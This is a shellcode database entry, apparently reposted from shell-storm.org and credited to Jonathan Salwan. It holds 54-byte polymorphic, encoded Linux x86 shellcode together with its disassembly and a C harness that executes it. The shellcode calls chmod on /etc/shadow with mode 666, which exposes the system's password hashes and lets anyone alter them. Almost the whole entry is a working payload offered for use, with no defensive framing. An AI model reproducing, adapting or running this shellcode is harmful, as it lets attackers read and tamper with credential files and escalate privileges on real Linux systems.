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linux/x86 Shellcode Polymorphic chmod("/etc/shadow",666) 54 bytes
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来源：submit [!] shell-storm.org 作者：Salwan 发布时间：2009-06-24
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/*
Title : Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) & exit() - 54 bytes
Encode : _ADD
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org
! Database of shellcodes => http://www.shell-storm.org/shellcode/
Informations _chmod() & _exit():
================================
%eax = 15
%ebx = /etc/shadow
%ecx = 666
%eax = 1
%ebx = 0
Disassembly of section .text:
08048054 <.text>:
8048054: 51 push %ecx
8048055: 66 b9 b6 01 mov $0x1b6,%cx
8048059: 68 61 64 6f 77 push $0x776f6461
804805e: 68 63 2f 73 68 push $0x68732f63
8048063: 68 2f 2f 65 74 push $0x74652f2f
8048068: 89 e3 mov %esp,%ebx
804806a: 6a 0f push $0xf
804806c: 58 pop %eax
804806d: cd 80 int $0x80
804806f: 40 inc %eax
8048070: cd 80 int $0x80
*/
#include "stdio.h"
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x30\x80"
"\x6c\x0e\xff\x23\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x74\x89\xdc\xd9\x24\x8b\x84\x87"
"\x92\x9a\x8b\x86\x52\x96\x8b\x8b"
"\x52\x52\x88\x97\xac\x06\x8d\x32"
"\x7b\xf0\xa3\x63\xf0\xa3";
int main()
{
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
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